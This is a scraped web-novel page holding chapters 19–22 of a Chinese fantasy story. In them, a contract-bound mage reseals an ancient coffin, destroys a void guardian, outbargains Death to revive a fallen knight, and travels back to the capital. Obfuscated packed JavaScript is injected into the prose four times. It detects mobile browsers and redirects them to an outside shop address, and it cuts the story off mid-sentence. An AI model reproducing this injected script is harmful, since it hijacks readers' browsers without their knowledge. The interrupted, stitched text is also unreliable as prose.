35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193819|197114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 艾什尔对身后的惨烈充耳不闻。 他在书写。 翎羽笔在虚空中划出残影，一行行燃烧的炼狱语凭空浮现，烙印进黑石表面。 在这个冰冷的幽蓝世界里，这团暗红色的火焰如此格格不入，却又异常霸道。 “根据九狱位面安保条例修正案……鉴于原始合同甲方已无法履行监管义务……” 他在低语，语速极快，每一个音节都牵引着周围的以太产生共振。 “……现由第三方，即本顾问，代行封缄权限，追加如下补充条款……” 第三分钟。 克莱尔的魔力见底了，最后一发奥术飞弹从指尖挤出，轻飘飘地弹在肩甲上，连个印子都没留下。 “艾什尔……快……” 第四分钟。 希罗为了替亚瑟分担一次攻击，被斩.马刀的余波扫中大腿。 裂口从膝盖上方一直延伸到髋骨，鲜血顺着靴筒往外淌。他咬着牙把自己拖到柱子后面，用匕首割下一截斗篷布条死死缠住伤口。 “还没好？！” “最后一条……违约责任……” 艾什尔的手很稳。 哪怕一块飞溅的碎石擦破脸颊，温热的血流过嘴角，他下笔也没有丝毫颤抖。 “吼——！！！” 虚裁决者终于察觉到了封印的变化。 头部的虚空黑火猛地膨胀了一圈，它不再理会面前摇摇欲坠的骑士，躯体转向石棺的方向。七枚黑色圆环骤然加速旋转，周围的空间被搅成了漩涡。 它消失了。 不是移动，是直接折叠了自己与目标之间的空间。 下一瞬，它出现在艾什尔头顶。 三米长的斩.马刀高举过头，刀刃上凝聚的黑紫弧光炽烈暴涨，连艾什尔脚下的影子都被吞没。 「少爷！上方！」 艾什尔的手正按在石棺断面上，暗红色火焰正在烙入最后一个炼狱文字的最后一笔。 他抬不了头，挪不了身，甚至无法分出一丝注意力来启动护盾。 千钧一发。 金色的身影从侧方撞了过来。 没有技巧，没有招式。 亚瑟·布雷克特，把自己当成了最后一堵墙。 他将自己所有的生命力、所有的荣耀、所有的信念灌注进圣剑，剑身爆发出这一战中最明亮的金色光辉—— “圣域·光辉壁垒！！！” 斩.马刀落下。 圣剑迎上。 金色与黑紫的光芒炸裂，冲击波将方圆十米内的蓝雾、碎石、尘埃全部掀飞。 砰——！！！ 然后，一声清脆的断裂声响彻整个空间。 圣剑从剑身中段折断。 上半截旋转着飞出，插进远处的石壁里，最后的光芒也熄灭了。 □□的余势不减，劈在亚瑟的肩甲上，将他整个人砸进了地面。黑石碎裂，裂纹从他的身体下方向四周蔓延，像蛛网一样铺展开去。 冲击波掀起的气浪吹动了艾什尔的发丝。 “咳……” 亚瑟咳出一大口夹杂着内脏碎块的鲜血，溅在艾什尔那尘埃不染的星纹蛛丝法师袍下摆。 他的脸色惨白，但他依然死死扣住虚空裁决者的脚踝，哪怕十指骨骼已经尽碎，哪怕意识已经模糊。 “……还……没……完……” 艾什尔的手指停顿了一瞬。 只有一瞬。 “做得好，骑士。” 他没有回头去看亚瑟，暗红色的瞳孔里，甚至没有一丝波澜。 然后，笔尖落下，完成了最后一个笔画。 暗红色的光辉彻底吞没了蓝色的雾气，石棺的裂缝在契约的强行粘合下发出一声轰鸣，重新闭合。 封印，重启。 19. 归来者 艾什尔终于撑着石棺站了起来。 指尖残留着暗红的灼烧痕迹，炼狱文字的余温还在皮肤上跳动。他收起羽毛笔，转过身环视四周。 克莱尔瘫坐在石阶上，《星辰典籍》落在地上，她连捡起来的力气都没有了。魔力耗竭的法师跟溺水的人没什么区别。 希罗贴着墙根，断裂的肋骨让他每次呼吸都伴随着鲜血从嘴角溢出，但手中的双刀依然稳稳指着敌人的方向。 亚瑟趴在他脚边。 鲜血在骑士身下汇成了一片，浸透了石砖之间的每一条缝隙。 金色头发被血浆粘成了一绺一绺，贴在惨白的面颊上。 断掉的手指弯折出不该有的角度，一手死死扣着虚空裁决者的战靴，一手紧攥断成两截的圣剑。 他呼吸浅得几乎听不见，胸腔每起伏一次，身下血泊就扩大一寸。 “……弄脏了啊。” 艾什尔抬起手，拇指抹去溅在脸颊上的一滴血珠。 然后他抬头看向虚空裁决者。 无头的巨大躯壳还停留在原地，封印重启的冲击波让它短暂失去了行动能力。但那团替代头颅的虚空黑火正在重新凝聚，七枚黑色圆环恢复了旋转。 它还没死。 “既然已经结束了。” 艾什尔五指张开，掌心朝向那个三米高的铁罐头。 “就别在这碍眼了。” 虚空裁决者再次举起斩.马刀。 刀身上缠绕的弧光凝聚到了极致，周围的空间在这股压力下发出玻璃即将碎裂的尖啸。 斩.马刀劈下。 在刀刃距离他不到一米时，艾什尔开口了。 宣判。 他的瞳孔在说出这两个词的发生了变化，暗红色的底色中，浮现出九层同心圆纹。一圈套着一圈，像九座深渊的俯瞰图，正以不同的速度逆向旋转。 “根据第九狱仲裁庭追加条款：审魂执行。” 他的声音很轻，甚至被□□劈开空间的尖啸盖过了大半。 但每一个音节落下，他掌心的灼烧痕迹都亮起一次，暗色的光从指缝间漫出。 虚空裁决者的盔甲上，流动的星图暗纹骤然凝滞。 紧接着，纯黑色的火焰从它铠甲的每一道接缝中钻了出来。 火焰沿着甲片蔓延，不发出任何声响，不散发任何热量，甚至不产生光。 它吞噬光。 黑火所过之处，颜色消失了，蓝雾变成灰色，石砖的纹理被抹平，就连虚空裁决者的星图暗纹在黑焰的映照下都褪成了一片死灰。 九狱秘火，第八阶，审魂火。 这并非凡世所能理解的元素火焰，而是地狱底层用来裁决灵魂，清算罪责的具象化法则。 它不烧□□，只烧本质。唯有真正无罪者方可幸免。 凡有罪者，皆为薪柴。 虚空裁决者的斩击在落下的瞬间被定格，三米长的巨刃距离艾什尔的额头只剩三寸，却再也无法前进。 审魂火已经裁定了结果。 有罪之物，不被允许继续行动。 它庞大的身躯开始剧烈颤抖，身上浮现出密密麻麻的炼狱审判铭文，逐行宣告罪责，随即化为漆黑锁链，将罪人层层缠缚。 艾什尔站在刀锋投下的阴影里，表情没有波动。 手指收拢。 “跪。” 咯吱—— 足以硬抗巨龙冲撞的铠甲向内塌陷。 三米高的躯体被一寸一寸地按下去，斩.马刀从手中滑落，七枚黑色圆环逐一崩碎，化作光尘消散。 它没有再试图挣扎。 彻底消亡的最后一刻，那团替代头颅的虚空火焰发出了一个声音。 那个词古老而晦涩，不属于任何已知的语言，绕过了空气的传播，直接在艾什尔的脑海中响起。 他听懂了。 没有经过翻译，音节尚未被拆解，其中的含义就已经被理解。连他自己都不知道那理解从何而来。 那个词的意思是—— 归来者。 紧跟着，第二句。 “终焉之主将会归来。” 虚空裁决者的残躯开始崩解，星图暗纹的碎片像萤火虫一样飘散，每一粒碎光都映出一帧画面。 艾什尔的瞳孔收缩。 霎那间，无数破碎的画面在他眼前闪过： 燃烧着苍白火焰的空旷王座、跪伏在阶梯下的无尽黑影、以及这座倒悬之城初次升起时，撕裂苍穹的轰鸣。 但他什么也没抓住。 艾什尔皱了皱眉，低声嘟囔了一句：“现在的反派都流行搞这种谜语人路线吗？” 没有人回答他，虚空裁决者最后一片灰烬化为乌有的瞬间，整座倒悬城开始颤抖。 「少爷，半位面投影正在坍缩，维持空间的能量因封印修复抽干了，撑不过两分钟。」 “……麻烦。” 艾什尔没再废话。他弯下腰，一只手扣住亚瑟的肩甲，将骑士满是血污的身体从地上拉起来。 亚瑟的头向后仰去，金发上凝结的血块蹭过艾什尔的手，温热的触感让他的动作顿了半拍。 “克莱尔！希罗！过来！” 克莱尔踉跄着爬起身，手在地上抓了两下，先够到《星辰典籍》塞进怀里，然后才朝这边跑。 希罗的动作更快。尽管肋骨和腿骨断了，但刺客的本能让他几乎是瞬间贴到了艾什尔身边，只是狐尾夹在两腿之间，明显是疼得厉害。 就在四人聚拢的一刻，世界碎了。 穹顶从边缘开始出现蛛网般的裂纹，裂纹蔓延的速度比视线追踪的速度更快。 大块大块的黑石从裂缝中剥落，坠入下方的虚空。那些刻满禁忌文字的石碑、被契约重新封合的石棺，全都在崩解，化为细碎的光点，像纸灰一样飘向深渊。 最后剩下的立足之地不到两平方米。 “阿福，有没有什么临别赠言？” 「建议您闭眼，少爷。体验会好一些。」 “我什么时候听过你的建——” 白光吞没了一切。 …… 风啸堡。 艾琳·霍尔德已经两天没有合眼了。 自从那四位异界勇者向神弃峡谷的方向出发后，她就几乎没休息过。 每隔几个小时，她就会派出一队斥候前去探查。但每次得到的回报都是一样的：蓝雾依旧，无法靠近，没有发现任 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193820|197114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何活物的踪迹。 直到第三天清晨。 “报告！” 一名斥候浑身冰碴地冲上城墙，因为跑得太急在结冰的石阶上摔了一跤，连头盔都磕歪了。 “峡谷方向的……蓝雾……消散了！完全消散了！” 消散了？这意味着那些勇者成功了？还是意味着…… 她不敢往下想。 城门口的骚动打断了她的胡思乱想。 艾琳三步并作两步冲下台阶，拨开警戒线上的士兵，站到了大门外的雪道上。 然后她看到了他们。 远处的雪原上，四个人影正沿着来时的路慢慢移动。 艾什尔走在最前面，法师袍的下摆拖在雪地里，染满了深红和灰蓝的污渍。 红宝石手杖插在腰间没有取出来，因为他不得不扣着亚瑟的胳膊，把骑士整条手臂架在自己肩上。 亚瑟的脚尖在雪面上拖出两道长长的红色痕迹，整个人毫无生机。 克莱尔紧跟其后，脚步虚浮得随时都会倒下，全靠仅剩的魔力凝成一只奥术之手托住她的重心，才不至于一头栽进雪里。 希罗走在最后，乍看状态最好，但艾琳注意到他走路时身体微微侧着。每走一步，呼吸会卡顿一下，脚步也跟着停半拍。 “军医！快叫军医过来！”她对着身后大喊，然后冲了上去，“发生了什么？峡谷里，那些雾气——” “没了。” 艾什尔异常平静。 “封印被我修好了，雾气不会再出现，至少十年内不会。” 艾琳愣在原地。 “修、修好了？就这样？你们只用了两天……” “准确地说是一天半，剩下半天是在找回来的路。那个破地方没有路标，差点走丢。” 几名军医小跑着赶了过来，当他们把亚瑟从艾什尔肩上接过去，翻转过来平放在担架上时，周围响起好几声倒抽凉气的声音。 “这种程度的伤……” “胸腔剖开……内脏震碎……大量失血……他是怎么活到现在的？” “还有救吗？”艾琳急切追问。 军医抬起头，嘴唇动了动，却没能说出话来。 那张脸上已经写出了答案。 “没救了。” 这个回答不是来自军医，是来自艾什尔。 他站在一旁，暗红眸子平静地注视着担架上的亚瑟。 “以人类的标准来看，他已经死了。” 艾琳的脸色骤变。 “不可能……他还……他的身体还是温的……” “心跳每分钟不到十次，是残存魔力刺激下的神经反射。体温维持在26度，因为我一直在用魔力给他加热，不然早就凉透了。瞳孔对光反应几乎为零，脑干功能正在逐渐丧失。” 艾什尔顿了顿，在思考该怎么措辞。 “给我准备一个安静的房间，最好是地下室，不要有窗户，不要让任何人进来。把他送进去。” 他的语气没有命令的架子，但也没有商量的余地。 艾琳试图从那张毫无波澜的脸上找出一丝开玩笑的痕迹。 最终她只能点了点头。 “……跟我来。” 20. 生死之间的契约 房门合上，门锁落下的瞬间，阿福自动接管了房间的魔力环境控制权。 「环境封闭完成，声音阻断已开启，魔力屏蔽已部署。」 「少爷，我不得不提醒您，您接下来的行为在索拉瑞斯帝国的法律中属于亵渎尸体，在赫利恩圣教法中属于玩弄灵魂，而在生命女神的教义里……好吧，她大概会直接降下一道神罚把我们劈了。」 “她没空管我。” 艾什尔将亚瑟放在临时拼凑的木板床上。动作谈不上粗暴，也谈不上温柔。 哪怕是已经见惯了死亡的军医，看到亚瑟的伤口也会本能反胃。 那一记斩击几乎将他整个胸腔剖开，脊骨从内侧震碎，内腑翻搅破碎，唯有一颗心脏还算完整。 但他现在看起来很平静。 覆盖在他心脏的九狱秘火的余温维持着他□□最后的一丝活性，在死神的镰刀落下前强行按下了暂停键。 艾什尔垂下眼帘，俯视床上的人。 他在凝视一个即将沉入死亡幽海的光点。 “亚瑟·布雷克特。” 视界深处，一缕金色的灵光正从这具残破躯壳上剥离。脆弱，迷茫，随时会溃散。 “听见了吗，骑士？” 他不期待回答。 只是向这即将消散的灵魂递出最后一次被看见的机会。 金色的虚影微弱震动。 它在消散与留下之间徘徊。 “如果这是你愿意承受的结局，我不会把你从亡者之门前夺回来。” 艾什尔抬起右手。五指张开，掌心朝下，停在亚瑟的心口正上方。 烛火在这一刻全部熄灭。 并非是被风吹灭的，房间里所有的光都被什么东西吸了进去。 黑暗从墙壁和地面的缝隙中涌出来，填满了整个地下室。 唯一的光源变成了艾什尔的眼睛。 暗红色的瞳孔在纯粹的黑暗中燃烧，精致如神造的面容却因那一抹猩红而变得陌生。 仿佛神明撕开了温和的假面。 锋锐不足以形容那一瞬的气息。 更像静谧的深渊，明知不可凝视，却仍然忍不住想再看一眼。 明知那一步踏出便是万劫不复，却偏偏让人心甘情愿地纵身坠落。 “但若你还有一息尚存的挣扎。” “若你的剑仍愿替你发声。” “若你愿意……与我同行到终点。” 掌心覆上那颗几乎停止搏动的心脏。 “——那么，亚瑟·布雷克特。你可愿将你的所有，交付于我？” …… …… 亚瑟感觉自己在坠落。 他置身于一片无尽的灰色虚空中，让人想要安眠的静谧环绕着他。 远处有光，非常微弱的光，像是黎明前地平线上最初的那一抹光。 那光在召唤他。温暖，安宁，许诺他终结一切痛苦的安眠。 但他没有动。 因为另一个声音在相反的方向传来。 “你想活下去吗？” 带着火焰与硫磺的温度，带着铁与锁链的沉重。它撕开这片死寂的虚空，在灵魂深处激起本能的战栗。 他看向声音的源头。 一个身影伫立在灰暗中。 不是艾什尔·克劳利。 或者说，不是他认识的那个总是漫不经心的黑发青年。 那张脸英俊得近乎妖异，暗红瞳孔依旧熟悉，但周身缭绕的气息不再属于人类这个范畴。 暗色火焰在他脚下无声燃烧，吞噬光线而非释放光明。 无数锁链从他背后延伸进虚空尽头，隐没在一片没有形体的庞然阴影里。 暗红双瞳注视着亚瑟。 没有嘲讽，没有怜悯，只有如同律法般纯粹的凝视。 “选择。 你是否接受—— 以未来偿还现在。 以灵魂归属存在。 这份契约。” 亚瑟沉默了。 死亡宁静的光还在远处召唤，只要他向那边走去，一切都会结束。痛苦会消失，责任会消失。 战斗、失去、还有那些他背负了太久的重担，全都会就此放下。 全都会像水滴融入大海一样消失在永恒的静谧之中。 但他想起了别的东西。 暴风雪里递过来的那杯辣得要命的热可可。 少女法师魔力枯竭，却仍强行燃烧生命为他构建护盾。 阴影中行走的刺客，在他力竭之际替他引开虚空骑士的一击。 还有那个人说“做得好，骑士”时的声音。 那个正站在生死边界上，用某种令神明都忌惮的力量向他伸出手的人。 “我……” 他还欠着一个结局。 不是欠谁的，是欠他自己的。 他的剑断了，但他还没有输。 于是，他向着那个满身锁链与黑火的身影，伸出手。 光与暗在触碰的一瞬交汇。 “契约成立。” …… 灵光停止溃散。 那团金色在艾什尔掌心下方重新收拢，凝聚。 如一颗即将熄灭的余烬被人用手拢住，挡开了风。 艾什尔收回手，掌心炼狱文字还在燃烧，沿着生命线和命运线刻出两道交叉的灼痕。 「少爷。」 阿福的声音在脑内响起，没带半点平日的调侃。 「有东西来了。」 “我知道。” 艾什尔没有抬头。 本就阴冷的地下室气温骤降，呼吸吐出的白气瞬间凝成冰晶坠地，墙角的杂物迅速爬满了白霜。 门缝漏进来的光，法师袍星纹散发的光，艾什尔眼瞳中的火焰，都在这一刻暗了下去。 有人在现实的画布上剪开一个洞，露出背后的深渊。 “异界之人。” 那声音带着亿万年时光的沉重与不可抗拒的威严，在房间内响起 “汝已越界。” 艾什尔慢慢直起身来。 房间的角落里，阴影正在凝聚。 一个轮廓浮现。没有形体，没有面容，只有一双燃烧着苍白冷焰的眼眸。 “我只是履行了一份契约。” 艾什尔没回头。 “根据现世法则，一个尚未死亡的灵魂，接受了另一个存在的援手，自愿选择回归生者之列。流程合规，双方自愿，没有违反任何条款。” 那个轮廓没有动。 它周围的虚无在翻搅，像是有无数沉没在深水中的东西正试图浮上来。 “其心跳，止息二十三分。” 死神。 缄默守密人·萨利尔的化身在阴影中垂眸。 “其魂已立冥府之门。循序而行，当归吾掌。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193821|197114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“但他没有踏入那扇门。” 艾什尔终于转过身来。 他面对着那个比黑暗更黑的身影，嘴角微微上扬。 不是微笑，至少不是人类意义上的微笑。那更像是上位存在在审视棋盘时的神情。 “他的意识还在边界上徘徊，他的灵魂还没有完成最后的抉择。而在在他做出选择之前，我向他提出了交换。” 艾什尔走向那片阴影。 每一步都踏在现实与虚无的交界处。 “一个自由意志的灵魂，在彻底归属于死亡之前，接受了来自九狱的契约。” 他停在那个身影面前，直视那两抹苍白冷焰。 “你们的法则，承认这一点。” 房间里的温度降到了冰点以下。 “汝假契约之名，窃据法则之隙。” “漏洞和规则，是同一枚硬币的两面。如果你们的法则足够完美，就不会有这个漏洞。既然有，那它就是合法的。” 他向前踏出最后一步。 九狱秘火从他脚下蔓延开来，铭刻出复杂的契约纹路。 那片虚无涌动了一下，苍白的双眼微微收缩。 两套法则在这间狭小的地下室里短兵相接。冥府的秩序主张一个“已死”之人的所有权，九狱的契约主张一个“未死”之人的归属权。 “回去吧。” 艾什尔声音温柔缱绻而危险。 “这一次，他归属于我。” 死神沉默很久。 苍白冷焰闪烁不定，像在权衡什么。 最终，阴影开始消散。 “下次……” 那声音在艾什尔的脑海中回荡。 “……再无可乘之机。” 然后，一切归于寂静。 温度回升，阴影退回到了应在的角落，门缝里的光线重新漏了进来，落在地面上画出一道窄窄的长条。 地上铭刻的九狱徽记还在微微发烫，几秒后也渐渐冷却，融进了石砖的颜色里。 艾什尔静静看着气窗外透进来的一线暮光，表情没有任何变化。 既没有因与死神对峙而产生的紧张，也没有因胜利而产生的愉悦。 他只是如同往常一样，带着那属于他的令人捉摸不透的从容。 “……艾什尔……” 身后传来极轻的动静。 亚瑟睁开了眼。 天蓝色的瞳孔涣散了好几秒才重新聚焦，视野里只有一片昏暗的天花板，以及一个站在床边的黑发青年的侧脸轮廓。 亚瑟看着那张脸。 五官的线条在逆光中被削得极为锐利，颧骨、鼻梁、下颌，每一处转折都干净得不留余地。 但那张脸上没有任何表情，没有喜悦，没有悲悯，只有让人心悸，超然于世的冷漠。 “我……” “睡吧。” 艾什尔垂下眼帘，遮住眼底那抹非人的冷。 “重塑□□有代价，你需要时间适应。等你醒了，我们还有很多事要做。” 他走向门口。 脚步声仿佛踏在亚瑟心上。 “对了——” 他在门口停下，终于回过头来。 暗红色的瞳孔在昏暗中微微发亮。 “欢迎回来，亚瑟。” 门在他身后合上了。 只剩下窗外渐渐西沉的暮光，和大难不死的骑士逐渐平稳的呼吸声。 21. 未尽的棋局 亚瑟睁开眼睛。 房顶横梁被长年累月的烟熏成了黑色，一盏熄灭的油灯挂在墙上，玻璃罩上积了一层薄灰。 他躺在一张简易木板床上。 身体很沉，每个关节都像是生了锈，肌肉酸痛得像是刚刚跑完了一百公里的急行军。 心跳很响。 咚、咚、咚。 记忆开始回流。 倒悬的城市，破裂的石棺，三米长的斩.马刀从头顶落下。 以及那个他以为是终结的瞬间。 圣剑断裂。 整个世界随之碎成玻璃渣。 但在碎片的缝隙里，在所有知觉都该熄灭的地方，有什么东西拽住了他。 “此灵魂，尚不归于死亡。” 那是一道赦令。 君王在处刑台前抬了抬手，落下的斧头就得硬生生停在半空。 亚瑟闭眼。 那双眼睛还在烧。 暗红，滚烫。 没有悲悯，没有温柔。只有好似坐在谈判桌对面的绝对理性的平静。 “你欠我一笔债。” 亚瑟猛地坐了起来。 他还活着，不知道这是否值得庆幸。 在那片灰色虚空的边缘，他似乎瞥见了一些不属于这个世界的东西。 某种比死亡更古老、更深沉的阴影，缠绕在他的灵魂上。 亚瑟站起身，查看自己的身体。肩膀到胸口的位置，皮肤光滑完好，只留下一条浅浅的痕迹。 他把腿从床沿垂下来，靴子摆在床边，断成两截的圣剑放在床头。 他拿起其中一截，断面扭曲得不成样子，被超越物理极限的力量强行撕裂，剑身上曾经流转的圣光彻底熄灭。 亚瑟握着断剑坐了很久。 “……抱歉。” 他对着残破的圣剑低声说道。 然后他把两截剑身并在一起，床单撕下一条布，仔细地裹好，系紧。 他站起来，推开了门。 走廊里空荡荡的，几盏老旧魔法灯散发着暗沉的光。 空气中飘来烤面包的香气，对于一个死过一次的人来说，这简直是世界上最生动的味道。 他顺着香味走去。 军官食堂很小，只有三张长桌，这个时间点只有一张桌子有人。 艾什尔坐在正中间，脱下了沾满血污的星纹蛛丝法师袍，毫无心理负担地穿着那件红绿撞色，织着歪歪扭扭小恶魔图案的羊毛衫。 他手里拿着保温杯，正慢条斯理地抿着。 克莱尔坐在他对面，双手捧着一杯热茶，紫罗兰色的眼眸盯着茶面出神，时不时若有所思地瞥一眼艾什尔。 她的脸色比之前好了不少，但眼底的青色还没褪干净，魔力透支的后遗症没有完全恢复。 希罗靠在窗边，狐尾无精打采地垂在身后，面前放着一盘几乎没动过的早餐，望着窗外雪景，不知道在想些什么。 三个人谁也没说话。 空气里弥漫着微妙的沉默。 直到亚瑟推门进来。 艾什尔最先抬头，上下扫了他一眼。 “比我预想的早了大概三个小时。看来你的体质确实不错，骑士。” “我……” 亚瑟站在门口，一时间不知道该说什么。 他的目光与艾什尔对上。 那双暗红色的眼睛带着惯常的慵懒，嘴角挂着标志性的漫不经心的弧度。 与灰色虚空中那个被暗色火焰和锁链环绕的存在判若两人。 “……你救了我。” 这是他能想到的唯一一句话。 “嗯，这个啊。”艾什尔耸肩，胸口那个歪嘴小恶魔跟着抖了一下，“举手之劳。你替我挡了一剑，我帮你清下场子。等价交换，不亏。” 克莱尔发出一声轻嗤，并非嘲讽，反而带着某种复杂的意味：“昨晚那道威压，可不是什么‘举手之劳’能解释的。” “可能是我施法的时候魔力波动太大了，契约系的法术总是带点奇怪的副作用。”艾什尔摊手，一脸无辜。 “那道威压让我的毛发倒竖了三秒钟。”希罗终于转过头，却仍是不敢直视艾什尔。 “我见过准传奇级别的高手动手，他们都没有那种压迫感。” “可能是因为你太敏感了？兽族的感知比较发达嘛。” “……” 希罗沉默了，没有继续追问。 克莱尔也安静下来，低下头，用勺子搅动已经凉透的燕麦粥，但她的眼角余光始终没有离开艾什尔。 食堂又重回那种微妙的气氛。 亚瑟站在门口，看着这一幕，突然意识到有什么东西在昨晚悄悄改变了。 不只是他和艾什尔之间的关系，克莱尔和希罗看向艾什尔的眼神也变了。 三个人同时意识到了一件事。 他们身边这个喝着热饮，穿着丑毛衣，动不动就拿法律术语抬杠的家伙，远没有他表现出来的那么简单。 “别站着了。”艾什尔朝亚瑟招了招手，“过来坐，趁热吃点东西，补充点营养。” 亚瑟走到桌边坐下。 他没有急着吃东西，只是抬头看着艾什尔，安静了几秒。 “你救了我的命。” 他又说了一遍。不是因为觉得第一遍没被听见，而是他找不到更准确的话。 “这份恩情，无论要我付出什么，我都会偿还。” 艾什尔前倾身体，手肘撑在桌面上，下巴搁在掌心。 那个慵懒的姿势硬是被他做出了几分坐在王座上的压迫感。 “你做了一个选择，你选择回来。我只是帮你完成了这个选择。” “至于代价……现在的你，偿还不起。” 他嘴角那抹漫不经心的弧度加深了些许。 昏暗光线下，那个笑容危险得近乎迷人。黑发垂落在额前，光线切得细碎，阴影落进眼窝，双暗红色的瞳孔衬得仿佛在燃烧。 “变强吧，别让我的长线投资变成坏账。等你觉得自己的价值够得上那份契约的分量了，再来跟我谈还款的事。” …… 风啸堡城门口，寒风依然凛冽。 艾琳站在门前，深褐短发被风吹乱了几缕贴在脸颊上。她穿着军官铠甲，背后挂着帝国制式军弩，看起来和几天前迎接他们时一模一样。 只是眼神里的某些东西改变了。 “这么快就走？斯特林大公明天就到了。” “正因如此，我可不想花三天时间解释封印是如何莫名其妙自己修好了。文书工作是我最大的天敌。” 艾什尔拎着保温杯，看起来和这里肃杀的画风格格不入。 艾琳扯了扯嘴角，做不出来。 她的目光越过艾什尔，落在后面的亚瑟身上。 至于说这位已经判定为死亡的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193822|197114||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骑士是如何死而复生的，她没有问。 作为一个在北境服役多年的军官，她见过亡灵军团从冻土深处走出，听过暴风雪中死者的低语。她学会了不去追问，因为有些问题的答案，比无知更致命。 但这一次不同。 她看了艾什尔一眼，时间很短。 这个看似俊美无害的年轻人身上有什么东西让她后颈的汗毛竖了起来。 并非恶意，也不是威胁，是一种莫名的违和感。 像是拼图里混进了一块来自另一幅画的碎片，颜色对得上，形状也勉强能嵌进去，但仔细看总觉得哪里不对。 “我会在报告里写：勇者小队因任务需要提前返程。至于细节，峡谷里发生的事情……” “写‘蓝雾来源已被清除，威胁解除’就行了。”艾什尔接话，“其他的，等回到帝都我会跟皇帝陛下汇报。” “明白。” 艾琳敬了一个军礼。 “勇者们，感谢你们的付出。北境不会忘记你们的贡献。” 标准的官方措辞。但说完她顿了一下，又加了一句。 “下次再来的时候，记得多穿点。北境的冬天比你们想象的更长。” 艾什尔胸口的小恶魔扯着嘴笑，仿佛在嘲笑她这个多余的关心。 “放心，我老爹不会让我冻着的。” …… 上午十点，极光号列车准时启动。 魔导引擎发出低沉的轰鸣声，车轮碾过覆霜的铁轨。窗外的风啸堡在视野中逐渐变小，最终消失在一片苍茫的雪原尽头。 车厢空旷。 亚瑟坐在靠窗的位置，额头抵着冰凉的玻璃。 外面的雪原白得刺眼。几只魔狼在远处奔跑，小得像几个移动的黑点，很快就被起伏的丘陵吞没。 克莱尔盘腿坐在对面座位上，《星辰典籍》摊在膝头，正在飞速地往空白页上记录。 他们在倒悬城所见的文字，时空晶体的结构图，半位面的模型，还有大量让人眼花缭乱的奥术符号。 希罗缩在角落的座位里，把自己裹成了一个球。狐尾从斗篷底下伸出来，尾尖偶尔抽动一下，说明他没睡着，只是在以自己的方式节省体力。 “在想什么？” 克莱尔头也不抬地问，笔尖还在纸上飞。 亚瑟回过神。 “我在想，我们甚至还没真正开始。” 克莱尔的笔停了。 她抬起头望向窗外，紫罗兰色的眼睛浮现出奇怪的神色。 “不，我们已经开始了。” 笔夹进书页里，合上典籍。 “而且开局就掀了桌子。” 窗外，太阳终于冲破了厚重的云层。 一束苍白的金光洒在雪原上，也照亮了列车前行的方向。 在光芒照不到的阴影里，艾什尔回头望向北方，望着列车渐渐驶离的方向。 神弃峡谷的方向。 那座倒悬城，那口被他强行封合的石棺，那个所谓的“终焉之主”…… 还有壁画上那张不被允许看见，却在时空碎裂的缝隙中瞥见了一瞬的面孔。 他会回去的。 不是预感，是确定。 就像签过的合同终归要履行，欠下的债终归要清算。那座城市在等他，而他还欠它一个答案。 咔哒。 命运的齿轮咬合，发出一声无人听见的脆响。 22. 光之下的暗流 索拉利姆中央车站。 站台上人头攒动，搬运工们推着货车在蒸汽里穿梭，商人们清点着从异国运来的皮草与矿石，检票员的哨声被淹没在汽笛声中。 “终于到了。” 克莱尔第一个下车，眼睛布满血丝，法师袍上还沾着曲奇碎屑，但她懒得去拂掉。 “我已经三天没睡个完整的觉了。回去之后我要直接睡到明天中午，谁来敲门我就炸谁。” “欢迎回来，勇者阁下们！” 三个身穿皇家侍从服的男人穿透蒸汽走来。 为首那个不过二十出头，棕色短发抹了过量发蜡，领口别着金色狮鹫徽章，腰间挂着装饰性短剑。 他在几人面前停下脚步，深深鞠了一躬。 “在下是皇家侍从官赛斯·洛克，奉陛下之命前来迎接各位勇者大人。” “洛克？”艾什尔若有所思地重复了一遍这个名字，“有点耳熟。” 赛斯微微一愣，随即脸上浮现出一丝紧张。 “呃，家父就职于财务部，也许勇者大人在某些场合听过……” “没有，随口说说。”艾什尔已经失去了兴趣，目光飘向站台对面的一家咖啡摊。 赛斯的嘴角肉眼可见地抽了一下。 